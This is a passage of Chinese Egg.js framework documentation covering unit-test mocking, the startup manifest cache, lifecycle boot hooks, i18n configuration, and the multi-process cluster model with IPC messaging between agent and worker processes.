所以通常我们会在 `afterEach` 钩子里面还原掉所有 mock。

```ts
describe('some test', () => {
  // beforeAll hook

  afterEach(() => mock.restore());

  // it tests
});
```

**使用 egg-bin 时，`@eggjs/mock/setup_vitest` 会被自动注入，它会在 `afterEach` 钩子中自动还原所有的 mock，所以不需要再次编写这部分内容。**

接下来会详细解释 `egg-mock` 的常见使用场景。

### Mock 属性和方法

由于 `egg-mock` 是基于 [mm](https://github.com/node-modules/mm) 模块扩展的，
它包含了 `mm` 的所有功能，因此我们可以非常方便地 mock 任意对象的属性和方法。

#### Mock 一个对象的属性

mock `app.config.baseDir` 的值指向 `/tmp/mockapp`。

```js
mock(app.config, 'baseDir', '/tmp/mockapp');
assert(app.config.baseDir === '/tmp/mockapp');
```

#### Mock 一个对象的方法

mock `fs.readFileSync` 方法，使其返回 `'hello world'`。

```js
mock(fs, 'readFileSync', (filename) => {
  return 'hello world';
});
assert(fs.readFileSync('foo.txt') === 'hello world');
```

我们还有 `mock.data()`、`mock.error()` 等更多高级的 mock 方法。
详细使用说明请参考 [mm API](https://github.com/node-modules/mm#api)。

### Mock Service

Service 作为框架的标准内置对象，我们利用 `app.mockService(service, methodName, fn)` 方法来方便地模拟 Service 方法的返回值。

例如，模拟 `app/service/user` 中 `get(name)` 方法，让其返回一个本来不存在的用户数据。

```js
it('should mock fengmk1 exists', () => {
  app.mockService('user', 'get', () => {
    return {
      name: 'fengmk1',
    };
  });

  return (
    app
      .httpRequest()
      .get('/user?name=fengmk1')
      .expect(200)
      // 返回了本来不存在的用户信息
      .expect({
        name: 'fengmk1',
      })
  );
});
```

通过 `app.mockServiceError(service, methodName, error)`，我们可以模拟 Service 方法调用时的异常情况。

例如，模拟 `app/service/user` 中的 `get(name)` 方法调用时抛出异常：

```js
it('should mock service error', () => {
  app.mockServiceError('user', 'get', 'mock user service error');
  return (
    app
      .httpRequest()
      .get('/user?name=fengmk2')
      // 由于 service 异常，触发了 500 响应
      .expect(500)
      .expect(/mock user service error/)
  );
});
```

### Mock HttpClient

框架内置了 HttpClient，应用发起的对外 HTTP 请求基本都是通过它来处理。我们可以通过 `app.mockHttpclient(url, method, data)` 来 mock 掉 `app.curl` 和 `ctx.curl` 方法，从而实现各种网络异常情况。

例如在 `app/controller/home.js` 中发起了一个 curl 请求：

```js
class HomeController extends Controller {
  async httpclient() {
    const res = await this.ctx.curl('https://eggjs.org');
    this.ctx.body = res.data.toString();
  }
}
```

需要 mock 它的返回值：

```js
describe('GET /httpclient', () => {
  it('should mock httpclient response', () => {
    app.mockHttpclient('https://eggjs.org', {
      // 模拟的参数，可以是 buffer / string / json，
      // 都会转换成 buffer。
      // 按照请求时的 options.dataType 来做对应的转换。
      data: 'mock eggjs.org response',
    });
    return app
      .httpRequest()
      .get('/httpclient')
      .expect('mock eggjs.org response');
  });
});
```

## 示例代码

完整示例代码可以在 [eggjs/examples/unittest](https://github.com/eggjs/examples/blob/master/unittest) 找到。

---

---
url: /zh-CN/basics/unittest.md
---
# 单元测试

## 快速开始

```typescript
import assert from 'node:assert';
import { app } from '@eggjs/mock/bootstrap';
import { FooService } from '../app/foo';

describe('test/xxx.test.ts', () => {
  let fooService: FooService;
  beforeEach(async () => {
    fooService = await app.getEggObject(FooService);
  });

  it('should work', async () => {
    const result = await fooService.foo();
    assert(result);
  });
});
```

### 工具链命令

```bash
$ egg-bin test
```

egg-bin v8+ 内部使用 [Vitest](https://vitest.dev) 作为测试运行器，提供以下特性：

* 原生 TypeScript 支持，无需额外配置
* 自动注入 vitest 全局变量（`describe`、`it`、`beforeAll` 等）
* 自动加载 `test/.setup.ts` 作为 setup 文件
* 对 egg 应用自动注入 `@eggjs/mock/setup_vitest`，处理 app 生命周期

## Mock 方法

### Context

在单测中需要获取 egg Context 时，可以使用以下 API。

```typescript
export interface Application {
  currentContext: Context;
}
```

使用例子

```typescript
import { app } from '@eggjs/mock/bootstrap';

describe('test', () => {
  let ctx;

  it('test', () => {
    ctx = app.currentContext;
    // do something with ctx
  });
});
```

### 获取对象实例

在单测中需要获取 Module 中的对象实例时，可以使用以下 API

```typescript
export interface Application {
  /**
   * 通过一个类来获取实例
   * 注：app.getEggObject 可以获取 Singleton/Context 实例
   */
  getEggObject<T>(clazz: EggProtoImplClass<T>): Promise<T>;
}

export interface Context {
  /**
   * 通过一个类来获取实例
   * 注：ctx.getEggObject 可以获取 Singleton/Context 实例
   */
  getEggObject<T>(clazz: EggProtoImplClass<T>): Promise<T>;
}
```

使用例子

```typescript
// HelloService.ts
@SingletonProto()
export class HelloService {
  async foo() {
    // do something
  }
}

// xxx.test.ts
import { app } from '@eggjs/mock/bootstrap';
import { HelloService } from '../app/module/foo/HelloService.ts';

describe('test', () => {
  it('test', async () => {
    const helloService = await app.getEggObject(HelloService);
    await helloService.foo();
  });
});
```

### Mock 对象方法

在单测中如果需要 mock 掉 Module 中的某些方法时，可以 mock 掉原型来测试，比如`mock(XXX.prototype, 'xxx', 'xxx')`

```typescript
// HelloService.ts
@SingletonProto()
export class HelloService {
  async hello() {
    // do something
  }
}

// FooService.ts
@SingletonProto()
export class FooService {
  @Inject()
  helloService: HelloService;

  async foo() {
    return this.helloService.hello();
  }
}

// xxx.test.ts
import { app, mm } from '@eggjs/mock/bootstrap';
import assert from 'node:assert/strict';
import { HelloService } from '../app/module/foo/HelloService.ts';
import { FooService } from '../app/module/foo/FooService.ts';

describe('test', () => {
  it('test', async () => {
    mm(HelloService.prototype, 'hello', async () => {
      return '123';
    });
    const fooService = await app.getEggObject(FooService);
    assert.equal(await fooService.foo(), '123');
  });
});
```

---

---
url: /zh-CN/core/manifest.md
---
# 启动清单（Startup Manifest）

Egg 提供了启动清单（Manifest）机制，通过缓存文件发现和模块解析结果来加速应用的冷启动。

## 原理

应用每次启动时，框架需要执行大量文件系统操作：

* **模块解析**：数百次 `fs.existsSync` 调用，探测 `.ts`、`.js`、`.mjs` 等后缀
* **文件发现**：多次 `globby.sync` 扫描插件、配置、扩展等目录
* **tegg 模块扫描**：遍历模块目录，`import()` 装饰器文件收集元数据

Manifest 机制在首次启动时收集这些结果，写入 `.egg/manifest.json`。后续启动直接读取缓存，跳过重复的文件 I/O。

## 性能提升

在容器冷启动场景下（无文件系统缓存），以 cnpmcore 项目实测：

| 指标        | 无 Manifest | 有 Manifest | 提升     |
| ----------- | ----------- | ----------- | -------- |
| 应用启动    | ~980ms      | ~780ms      | **~20%** |
| 文件加载    | ~660ms      | ~490ms      | **~26%** |
| 加载 app.js | ~280ms      | ~150ms      | **~46%** |

> 注意：在本地开发环境中，操作系统的页面缓存（page cache）会使文件 I/O 接近零开销，因此提升不明显。Manifest 主要优化的是容器冷启动、CI/CD 等无缓存场景。

## 使用方式

### 通过 CLI 管理（推荐）

`egg-bin` 提供了 `manifest` 命令来管理启动清单：

#### 生成清单

```bash
# 为生产环境生成
$ egg-bin manifest generate --env=prod

# 指定环境和作用域
$ egg-bin manifest generate --env=prod --scope=aliyun

# 指定框架
$ egg-bin manifest generate --env=prod --framework=yadan
```

生成过程会以 `metadataOnly` 模式启动应用（跳过生命周期钩子，只收集元数据），然后将结果写入 `.egg/manifest.json`。

#### 验证清单

```bash
$ egg-bin manifest validate --env=prod
```

输出示例：

```
[manifest] Manifest is valid
[manifest]   version: 1
[manifest]   generatedAt: 2026-03-29T12:13:18.039Z
[manifest]   serverEnv: prod
[manifest]   serverScope:
[manifest]   resolveCache entries: 416
[manifest]   fileDiscovery entries: 31
[manifest]   extension entries: 1
```

如果清单无效或不存在，命令将以非零退出码退出。

#### 清理清单

```bash
$ egg-bin manifest clean
```

### 自动生成

应用正常启动后，框架会在 `ready` 阶段自动生成清单（通过 `dumpManifest`）。下次启动时如果清单有效，则自动使用。

## 清单失效机制

清单包含指纹信息，以下情况会自动失效：

* **锁文件变更**：`pnpm-lock.yaml`、`package-lock.json` 或 `yarn.lock` 的修改时间或大小变化
* **配置目录变更**：`config/` 目录下的文件发生变化（基于 MD5 指纹）
* **环境不匹配**：`serverEnv`、`serverScope` 与清单中记录的不一致
* **TypeScript 状态变更**：`EGG_TYPESCRIPT` 启用/禁用状态发生变化
* **版本不匹配**：清单格式版本号不一致

清单失效时，框架会回退到正常的文件发现流程，不会影响启动。

## 环境变量

| 变量           | 说明               | 默认值                            |
| -------------- | ------------------ | --------------------------------- |
| `EGG_MANIFEST` | 在本地环境启用清单 | `false`（本地环境默认不加载清单） |

> 本地开发环境（`serverEnv=local`）默认不加载清单，因为开发时文件频繁变更，清单容易失效。设置 `EGG_MANIFEST=true` 可强制启用。

## 部署建议

### 容器化部署

在 Dockerfile 中，构建完成后生成清单：

```dockerfile
# 安装依赖并构建
RUN npm install --production
RUN npm run build

# 生成启动清单
RUN npx egg-bin manifest generate --env=prod

# 启动应用（将自动使用清单）
CMD ["npm", "start"]
```

### CI/CD 流水线

在构建阶段生成清单，随制品一起部署：

```bash
# 构建
npm run build

# 生成清单
npx egg-bin manifest generate --env=prod

# 验证清单
npx egg-bin manifest validate --env=prod

# 打包（包含 .egg/manifest.json）
tar -zcvf release.tgz .
```

## 注意事项

1. **清单与环境绑定**：清单绑定了 `serverEnv` 和 `serverScope`（部署类型，如 `aliyun`），不同环境或部署类型需要分别生成
2. **依赖变更后需重新生成**：安装或更新依赖后，锁文件变更会自动使清单失效
3. **`.egg` 目录**：清单存储在 `.egg/manifest.json`，建议将 `.egg/` 加入 `.gitignore`
4. **回退安全**：清单缺失或无效时，框架会自动回退到正常流程，不会导致启动失败
5. **metadataOnly 模式**：`manifest generate` 不会启动完整的应用生命周期，不会连接数据库或外部服务

## 清单结构

```json
{
  "version": 1,
  "generatedAt": "2026-03-29T12:13:18.039Z",
  "invalidation": {
    "lockfileFingerprint": "pnpm-lock.yaml:1711234567890:12345",
    "configFingerprint": "a1b2c3d4e5f6...",
    "serverEnv": "prod",
    "serverScope": "",
    "typescriptEnabled": true
  },
  "extensions": {
    "tegg": { ... }
  },
  "resolveCache": {
    "config/plugin": "config/plugin.ts",
    "config/plugin.default": null
  },
  "fileDiscovery": {
    "app/middleware": ["trace.ts", "auth.ts"]
  }
}
```

---

---
url: /zh-CN/basics/app-start.md
---
# 启动自定义

我们常常需要在应用启动期间进行一些初始化工作，待初始化完成后，应用才可以启动成功，并开始对外提供服务。

框架提供了统一的入口文件（`app.js`）进行启动过程自定义。这个文件需要返回一个 Boot 类。我们可以通过定义 Boot 类中的生命周期方法来执行启动应用过程中的初始化工作。

框架提供了以下 [生命周期函数](../advanced/loader.md#life-cycles) 供开发人员处理：

* 配置文件即将加载，这是最后动态修改配置的时机（`configWillLoad`）；
* 配置文件加载完成（`configDidLoad`）；
* 文件加载完成（`didLoad`）；
* 插件启动完毕（`willReady`）；
* worker 准备就绪（`didReady`）；
* 应用启动完成（`serverDidReady`）；
* 应用即将关闭（`beforeClose`）。

我们可以在 `app.ts` 中定义这个 Boot 类。下面我们抽取几个在应用开发中常用的生命周期函数为例：

```ts
// app.ts
import type { Application, ILifecycleBoot } from 'egg';

export default class AppBootHook implements ILifecycleBoot {
  private readonly app: Application;

  constructor(app: Application) {
    this.app = app;
  }

  configWillLoad() {
    // 此时 config 文件已经被读取并合并，但还并未生效
    // 这是应用层修改配置的最后机会
    // 注意：此函数只支持同步调用

    // 例如：参数中的密码是加密的，在此处进行解密
    this.app.config.mysql.password = decrypt(this.app.config.mysql.password);
    // 例如：插入一个中间件到框架的 coreMiddleware 之间
    const statusIdx = this.app.config.coreMiddleware.indexOf('status');
    this.app.config.coreMiddleware.splice(statusIdx + 1, 0, 'limit');
  }

  async didLoad() {
    // 所有配置已经加载完毕
    // 可以用来加载应用自定义的文件，启动自定义服务

    // 例如：创建自定义应用的实例
    this.app.queue = new Queue(this.app.config.queue);
    await this.app.queue.init();

    // 例如：加载自定义目录
    this.app.loader.loadToContext(path.join(__dirname, 'app/tasks'), 'tasks', {
      fieldClass: 'tasksClasses',
    });
  }

  async willReady() {
    // 所有插件已启动完毕，但应用整体尚未 ready
    // 可进行数据初始化等操作，这些操作成功后才启动应用

    // 例如：从数据库加载数据到内存缓存
    this.app.cacheData = await this.app.model.query(QUERY_CACHE_SQL);
  }

  async didReady() {
    // 应用已启动完毕

    const ctx = await this.app.createAnonymousContext();
    await ctx.service.Biz.request();
  }

  async serverDidReady() {
    // http/https 服务器已启动，开始接收外部请求
    // 此时可以从 app.server 获取 server 实例

    this.app.server.on('timeout', (socket) => {
      // 处理 socket 超时
    });
  }
}
```

**注意：在自定义生命周期函数中，不建议进行耗时的操作，因为框架会有启动的超时检测。**

如果你的 Egg 框架的生命周期函数是旧版本的，建议你将其升级到类方法模式；详情请查看[升级你的生命周期事件函数](../advanced/loader-update.md)。

---

---
url: /zh-CN/core/i18n.md
---
# 国际化（I18n）

为了方便开发多语言应用，框架内置了国际化（I18n）支持，由 [@eggjs/i18n](https://github.com/eggjs/egg/tree/next/plugins/i18n) 插件提供。

## 默认语言

默认语言是 `en-US`。如果我们想修改默认语言为简体中文，可以进行以下设置：

```js
// config/config.default.js
exports.i18n = {
  defaultLocale: 'zh-CN',
};
```

## 切换语言

我们可以通过下面几种方式修改应用的当前语言（修改后会记录到 `locale` 这个 Cookie），下次请求会直接使用设定好的语言。优先级从高到低依次是：

1. query: `/?locale=en-US`
2. cookie: `locale=zh-TW`
3. header: `Accept-Language: zh-CN,zh;q=0.5`

如果需要修改 query 或 Cookie 参数名称，可以按照如下方式配置：

```js
// config/config.default.js
exports.i18n = {
  queryField: 'locale',
  cookieField: 'locale',
  // Cookie 默认一年后过期, 如果设置为 Number，则单位为 ms
  cookieMaxAge: '1y',
};
```

## 编写 I18n 多语言文件

不同语言的配置文件是独立存放的，统一放置在 `config/locale/*.js` 目录下。例如：

```
- config/locale/
  - en-US.js
  - zh-CN.js
  - zh-TW.js
```

无论是在应用目录、框架还是插件的 `config/locale` 目录下，设置都是同样生效的。注意单词的拼写应该是 locale，而不是 locals。

例如，可以这样配置中文语言文件：

```js
// config/locale/zh-CN.js
module.exports = {
  Email: '邮箱',
};
```

也可以使用 JSON 格式的语言文件：

```json
// config/locale/zh-CN.json
{
  "Email": "邮箱"
}
```

## 获取多语言文本

我们可以使用 `__`（别名：`gettext`）函数获取 locale 文件夹下面的多语言文本。

**注意：`__` 是两个下划线。**

以上面配置过的多语言为例：

```js
ctx.__('Email');
// zh-CN => 邮箱
// en-US => Email
```

如果文本中含有 `%s`、`%j` 等 format 函数，可以按照 [`util.format()`](https://nodejs.org/api/util.html#util_util_format_format_args) 类似的方式调用：

```js
// config/locale/zh-CN.js
module.exports = {
  'Welcome back, %s!': '欢迎回来，%s！',
};

ctx.__('Welcome back, %s!', 'Shawn');
// zh-CN => 欢迎回来，Shawn！
// en-US => Welcome back, Shawn!
```

同时支持数组下标占位符方式，例如：

```js
// config/locale/zh-CN.js
module.exports = {
  'Hello {0}! My name is {1}.': '你好 {0}！我的名字叫 {1}。',
};

ctx.__('Hello {0}! My name is {1}.', ['foo', 'bar']);
// zh-CN => 你好 foo！我的名字叫 bar。
// en-US => Hello foo! My name is bar.
```

### Controller 中使用

```js
class HomeController extends Controller {
  async index() {
    const ctx = this.ctx;
    ctx.body = {
      message: ctx.__('Welcome back, %s!', ctx.user.name),
      // 或者使用 gettext，gettext 是 `__` 函数的别名
      // message: ctx.gettext('Welcome back', ctx.user.name)
      user: ctx.user,
    };
  }
}
```

### View 中使用

假设我们使用的模板引擎是 [Nunjucks](https://github.com/eggjs/egg-view-nunjucks)。

```html
<li>{{ __('Email') }}：{{ user.email }}</li>
<li>{{ __('Welcome back, %s!', user.name) }}</li>
<li>{{ __('Hello {0}! My name is {1}.', ['foo', 'bar']) }}</li>
```

---

---
url: /zh-CN/basics.md
---
# 基础功能

* [目录结构](./structure.md)
* [依赖注入](./di.md)
* [controller](./controller.md)
* [HTTP Controller](./httpcontroller.md)
* [MCP Controller](./mcpcontroller.md)
* [Schedule Controller](./schedule.md)
* [参数校验](./ajv.md)
* [切面编程](./aop.md)
* [异步任务](./backgroundTask.md)
* [事件中枢](./eventbus.md)
* [内置对象](./objects.md)
* [运行环境](./env.md)
* [配置](./config.md)
* [AOP 中间件(推荐)](./aop-middleware.md)
* [Koa 中间件](./middleware.md)
* [插件](./plugin.md)
* [框架拓展](./extend.md)
* [启动自定义](./app-start.md)
* [单元测试](./unittest.md)

---

---
url: /zh-CN/core/cluster-and-ipc.md
---
# 多进程模型和进程间通讯

我们知道 JavaScript 代码是运行在单线程上的，换句话说，一个 Node.js 进程只能运行在一个 CPU 上。那么如果用 Node.js 来做 Web Server，就无法享受到多核运算的好处。作为企业级的解决方案，我们要解决的一个问题就是：

> 如何榨干服务器资源，利用上多核 CPU 的并发优势？

Node.js 官方提供的解决方案是 [Cluster 模块](https://nodejs.org/api/cluster.html)。其中包含一段简介：

> 单个 Node.js 实例在单线程环境下运行。为了更好地利用多核环境，用户有时希望启动一批 Node.js 进程用于加载。
>
> 集群化模块使得你很方便地创建子进程，以便于在服务端口之间共享。

## Cluster 是什么？

简单地说，Cluster 是：

* 在服务器上同时启动多个进程。
* 每个进程里都运行着同一份源代码（好比把以前一个进程的工作分给多个进程去做）。
* 更神奇的是，这些进程可以同时监听一个端口（具体原理推荐阅读 @DavidCai1993 这篇关于 [Cluster 实现原理](https://cnodejs.org/topic/56e84480833b7c8a0492e20c) 的文章）。

其中：

* 负责启动其他进程的叫做 Master 进程，好比是一个“包工头”，不做具体的工作，只负责启动其他进程。
* 其他被启动的进程叫 Worker 进程，顾名思义就是干活的“工人”。它们接收请求，对外提供服务。
* Worker 进程的数量一般根据服务器的 CPU 核数来定，这样可以完美利用多核资源。

```js
const cluster = require('cluster');
const http = require('http');
const numCPUs = require('os').cpus().length;

if (cluster.isMaster) {
  // Fork workers.
  for (let i = 0; i < numCPUs; i++) {
    cluster.fork();
  }

  cluster.on('exit', (worker, code, signal) => {
    console.log(`worker ${worker.process.pid} died`);
  });
} else {
  // Workers can share any TCP connection.
  // In this case it is an HTTP server.
  http
    .createServer((req, res) => {
      res.writeHead(200);
      res.end('hello world\n');
    })
    .listen(8000);
}
```

## 框架的多进程模型

上面的示例是否很简单呢？但作为企业级应用解决方案，我们需要考虑的问题还有很多。

* Worker 进程异常退出后，我们应如何处理？
* 多个 Worker 进程之间，如何共享资源？
* 多个 Worker 进程之间，又该如何调度？
* ...（此处省略号不需要修改为中文省略号，因为它在用列表符号表示内容，并不是句子的结束）

### 进程守护

健壮性（又称鲁棒性）是企业级应用必须要考虑的问题。除了程序代码质量要保证外，框架层面也需要提供相应的“兜底”机制，以保证极端情况下应用的可用性。

一般来说，Node.js 进程退出可以分为两类：

#### 未捕获异常

当代码抛出未被捕获的异常时，进程将会退出。这时 Node.js 提供了 `process.on('uncaughtException', handler)` 接口来捕获它。但是，当一个 Worker 进程遇到[未捕获的异常](https://nodejs.org/dist/latest-v6.x/docs/api/process.html#process_event_uncaughtexception)时，它已经处于不确定状态，此时我们应该让这个进程优雅退出：

1. 关闭异常 Worker 进程的所有 TCP Server（将已有连接快速断开，且不再接收新的连接），断开与 Master 的 IPC 通道，不再接受新的用户请求。
2. Master 立即 fork 一个新的 Worker 进程，以确保在线的“工人”总数保持不变。
3. 异常 Worker 等待一段时间，在处理完已接收的请求后退出。

```bash
   +---------+                 +---------+
   |  Worker |                 |  Master |
   +---------+                 +----+----+
        | uncaughtException         |
        +------------+              |
        |            |              |                   +---------+
        | <----------+              |                   |  Worker |
        |                           |                   +----+----+
        |        disconnect         |   fork a new worker    |
        +-------------------------> + ---------------------> |
        |         wait...           |                        |
        |          exit             |                        |
        +-------------------------> |                        |
        |                           |                        |
       die                          |                        |
                                    |                        |
                                    |                        |
```

#### OOM、系统异常

当进程由于异常导致 crash 或者因 OOM 被系统杀死时，不同于未捕获异常发生时我们还有让进程继续执行的机会，只能让当前进程直接退出。Master 立即 fork 一个新的 Worker。

在框架里，我们采用 \[graceful] 和 \[egg-cluster] 两个模块配合，实现上述逻辑。这套方案已在阿里巴巴和蚂蚁金服的生产环境中广泛部署，并经历过“双 11”大促的考验。因此，它相对稳定可靠。

### Agent 机制

Node.js 的多进程方案现已成型，这也是我们早期线上使用的方案。但后来我们发现，有些工作不需要每个 Worker 都去做。如果都去做，既是资源浪费，更重要的是，可能会导致多进程间资源访问冲突。举个例子，在生产环境中我们通常按日期归档日志文件，在单进程模型下这非常简单：

> 1. 每天凌晨 0 点，将当前日志文件按日期重命名。
> 2. 销毁之前的文件句柄，并创建新的日志文件继续写入。

试想，如果现在有 4 个进程同时做同样事情，就会混乱。因此，对于这类后台任务，我们希望它们在一个单独的进程中执行，该进程就叫 Agent Worker，简称 Agent。Agent 类似于 Master 为其他 Worker 雇佣的“秘书”，不对外提供服务，只服务于 App Worker，专门处理公共事务。现在我们的多进程模型就成了下面这个样子：

```bash
                  +--------+          +-------+
                  | Master |<-------->| Agent |
                  +--------+          +-------+
                  ^   ^    ^
                 /    |     \
               /      |       \
             /        |         \
           v          v          v
  +----------+   +----------+   +----------+
  | Worker 1 |   | Worker 2 |   | Worker 3 |
  +----------+   +----------+   +----------+
```

框架的启动时序如下：

```bash
    +---------+           +---------+          +---------+
    |  Master |           |  Agent  |          |  Worker |
    +---------+           +----+----+          +----+----+
         |      fork agent     |                    |
         +-------------------->|                    |
         |      agent ready    |                    |
         |<--------------------+                    |
         |                     |     fork worker    |
         +----------------------------------------->|
         |     worker ready    |                    |
         |<-----------------------------------------+
         |      Egg ready      |                    |
         +-------------------->|                    |
         |      Egg ready      |                    |
         +----------------------------------------->|
```

1. Master 启动后先 fork Agent 进程。
2. Agent 初始化成功后，通过 IPC 通道通知 Master。
3. Master 接着 fork 多个 App Worker。
4. App Worker 初始化成功后，通知 Master。
5. 所有进程初始化成功后，Master 通知 Agent 和 Worker，应用启动成功。

关于 Agent Worker，还有几点需要注意：

1. 因为 App Worker 依赖于 Agent，所以必须要等 Agent 初始化完成后才能 fork App Worker。
2. Agent 是 App Worker 的“小秘”，但不应该安排业务相关的工作，以免过于繁忙。
3. 由于 Agent 的特殊定位，我们应该确保它相对稳定。遇到未捕获异常时，框架不会像 App Worker 那样重启，而是记录异常日志、报警等待人工处理。
4. Agent 和普通 App Worker 提供的 API 不完全相同。想知道具体差异，请查看[框架文档](../advanced/framework.md)。

### Agent 的用法

你可以在应用或插件的根目录下的 `agent.js` 文件中实现你自己的逻辑（使用方法类似于[启动自定义](../basics/app-start.md)，只是入口参数为 agent 对象）。

```js
// agent.js
module.exports = agent => {
  // 在这里写你的初始化逻辑。

  // 你还可以通过 messenger 对象发送消息给 App Worker。
  // 但是，需要等 App Worker 启动成功后才能发送，否则可能丢失消息。
  agent.messenger.on('egg-ready', () => {
    const data = { ... };
    agent.messenger.sendToApp('xxx_action', data);
  });
};
```

```js
// app.js
module.exports = (app) => {
  app.messenger.on('xxx_action', (data) => {
    // ...
  });
};
```

这个例子中，`agent.js` 的代码将在 Agent 进程上执行，`app.js` 的代码则在 Worker 进程上执行。它们通过框架封装的 `messenger` 对象进行进程间通信（IPC）。后续章节会对框架的 IPC 进行详细讲解。

### Master VS Agent VS Worker

应用启动时，会同时创建三类进程。下表概述了每种进程的数量、作用、稳定性以及是否运行业务代码：

| 类型   | 进程数量            | 作用                         | 稳定性 | 是否运行业务代码 |
| ------ | ------------------- | ---------------------------- | ------ | ---------------- |
| Master | 1                   | 进程管理，进程间消息转发     | 非常高 | 否               |
| Agent  | 1                   | 后台运行工作（长连接客户端） | 高     | 少量             |
| Worker | 通常设置为 CPU 核数 | 执行业务代码                 | 一般   | 是               |

#### Master

在此模型中，Master 进程负责进程管理，类似 \[pm2]，它不运行业务代码。我们仅需启动一个 Master 进程，它就会自动管理 Worker、Agent 进程的初始化及重启。

Master 进程非常稳定，在线上环境中，我们通过 \[egg-scripts] 后台运行 Master 进程即可，不需额外使用 \[pm2] 等进程守护模块。

```bash
$ egg-scripts start --daemon
```

#### Agent

在绝大多数情况下，编写业务代码时可以忽略 Agent 进程。但若需要代码仅运行在单个进程上，Agent 进程便显得尤为重要。

Agent 进程因只有一个实例，且承担多种任务，因此不能轻易重启。遇到未捕获的异常时，Agent 进程会记录错误日志，**我们应对日志中的未捕获异常保持警惕**。

#### Worker

Worker 进程处理用户请求和[定时任务](../basics/schedule.md)。Egg 的定时任务可控制仅由一个 Worker 进程执行，**因此可被解决的问题不应放在 Agent 上**。

Worker 进程因运行复杂的业务代码，稳定性相对较低。一旦 Worker 异常退出，Master 将重新启动一个新进程。

## 进程间通讯（IPC）

尽管 Worker 进程相对独立，它们间仍需通讯。以下是 Node.js 官方的 IPC 示例代码：

```js
'use strict';
const cluster = require('cluster');

if (cluster.isMaster) {
  const worker = cluster.fork();
  worker.send('hi there');
  worker.on('message', (msg) => {
    console.log(`msg: ${msg} from worker#${worker.id}`);
  });
} else if (cluster.isWorker) {
  process.on('message', (msg) => {
    process.send(msg);
  });
}
```

注意到 cluster 的 IPC 仅在 Master 和 Worker/Agent 之间有效，Worker 与 Agent 间无法直接通讯。Worker 之间的通讯需要经由 Master 转发。

```bash
广播消息：Agent => 所有 Worker
                  +--------+            +-------+
                  | Master |<-----------| Agent |
                  +--------+            +-------+
                 /    |     \
                /     |      \
               /      |       \
              /       |        \
             v        v         v
  +----------+   +----------+   +----------+
  | Worker 1 |   | Worker 2 |   | Worker 3 |
  +----------+   +----------+   +----------+

指定接收方：一个 Worker => 另一个 Worker
                  +--------+            +-------+
                  | Master |------------| Agent |
                  +--------+            +-------+
                 ^    |
                 |    | 发送至 Worker 2
                 |    |
                 |    v
  +----------+   +----------+   +----------+
  | Worker 1 |   | Worker 2 |   | Worker 3 |
  +----------+   +----------+   +----------+
```

为简化调用，我们在 app 和 agent 实例上封装了 messenger 对象，并提供了友好的 API：

### 发送

* `app.messenger.broadcast(action, data)`: 向所有的 agent / app 进程发送消息（包括自己）。
* `app.messenger.sendToApp(action, data)`: 发送至所有的 app 进程。
  * app 上调用即发送至自己与其他 app
  * agent 上调用则发送至所有 app 进程。
* `app.messenger.sendToAgent(action, data)`: 发送消息至 agent 进程。
  * app 上调用即发送至 agent
  * agent 上调用即发送至自己。
* `agent.messenger.sendRandom(action, data)`:
  * app 上无此方法（Egg 实现与 sentToAgent 类似）
  * agent 随机向某 app 进程发送消息（由 master 控制）。
* `app.messenger.sendTo(pid, action, data)`: 向指定进程发送消息。

```js
// app.js
module.exports = (app) => {
  // 只有在 egg-ready 事件后才能发送消息
  app.messenger.once('egg-ready', () => {
    app.messenger.sendToAgent('agent-event', { foo: 'bar' });
    app.messenger.sendToApp('app-event', { foo: 'bar' });
  });
};
```

所有 `app.messenger` 方法也可在 `agent.messenger` 上调用。

#### egg-ready

如上所述，在接到 `egg-ready` 消息后方可发送消息。只有当 Master 确认所有 Agent 和 Worker 启动成功并就绪后，才会通过 messenger 发送 `egg-ready` 通知每个 Agent 和 Worker，表示一切就绪，可使用 IPC。

### 接收

监听 messenger 上的相应 action 事件可收到其他进程发送的消息。

```js
app.messenger.on(action, (data) => {
  // 处理数据
});
app.messenger.once(action, (data) => {
  // 处理数据
});
```

*agent 上收消息的方式与 app 相同。*

***

## IPC 实战

我们通过一个简单的例子，来感受一下在框架的多进程模型下，如何使用 IPC 解决实际问题。

### 需求

我们有一个接口，需要从远程数据源中读取数据，并对外提供 API。但这个数据源的数据很少变化，因此我们希望将数据缓存到内存中以提升服务能力，降低 RT。此时就需要一个更新内存缓存的机制。

1. 定时从远程数据源获取数据，更新内存缓存。为了降低对数据源的压力，我们会把更新间隔时间设置得较长。
2. 远程数据源提供一个检查是否有数据更新的接口。我们的服务可以更频繁地调用此接口。当有数据更新时，才去重新拉取数据。
3. 远程数据源通过消息中间件推送数据更新的消息。我们的服务监听此消息来更新数据。

在实际项目中，我们可以采用方案一作为基础。结合方案三或方案二中的一种，以提升数据更新的实时性。而在这个示例中，我们会使用 IPC + [定时任务](../basics/schedule.md)，同时实现这三种更新方案。

### 实现

我们把所有与远程数据源交互的逻辑封装在一个 Service 中。并提供 `get` 方法给 Controller 调用。

```js
// app/service/source.js
let memoryCache = {};

class SourceService extends Service {
  get(key) {
    return memoryCache[key];
  }

  async checkUpdate() {
    // check if remote data source has changed
    const updated = await mockCheck();
    this.ctx.logger.info('check update response %s', updated);
    return updated;
  }

  async update() {
    // update memory cache from remote
    memoryCache = await mockFetch();
    this.ctx.logger.info('update memory cache from remote: %j', memoryCache);
  }
}
```

编写定时任务，实现方案一。每 10 分钟定时从远程数据源获取数据并更新缓存做兜底。

```js
// app/schedule/force_refresh.js
exports.schedule = {
  interval: '10m',
  type: 'all', // 在所有的 workers 中运行
};

exports.task = async (ctx) => {
  await ctx.service.source.update();
  ctx.app.lastUpdateBy = 'force';
};
```

再编写一个定时任务，来实现方案二的检查逻辑。让一个 worker 每 10 秒调用一次检查接口。发现数据有变化时，通过 messenger 通知所有的 Worker。

```js
// app/schedule/pull_refresh.js
exports.schedule = {
  interval: '10s',
  type: 'worker', // 只在一个 worker 中运行
};

exports.task = async (ctx) => {
  const needRefresh = await ctx.service.source.checkUpdate();
  if (!needRefresh) return;

  // notify all workers to update memory cache from `file`
  ctx.app.messenger.sendToApp('refresh', 'pull');
};
```

在自定义启动文件中，监听 `refresh` 事件并更新数据。所有的 Worker 进程都能收到这个消息，并触发更新。此时，我们的方案二也已经完成。

```js
// app.js
module.exports = (app) => {
  app.messenger.on('refresh', (by) => {
    app.logger.info('start update by %s', by);
    // 创建一个匿名 context 来访问 service
    const ctx = app.createAnonymousContext();
    ctx.runInBackground(async () => {
      await ctx.service.source.update();
      app.lastUpdateBy = by;
    });
  });
};
```

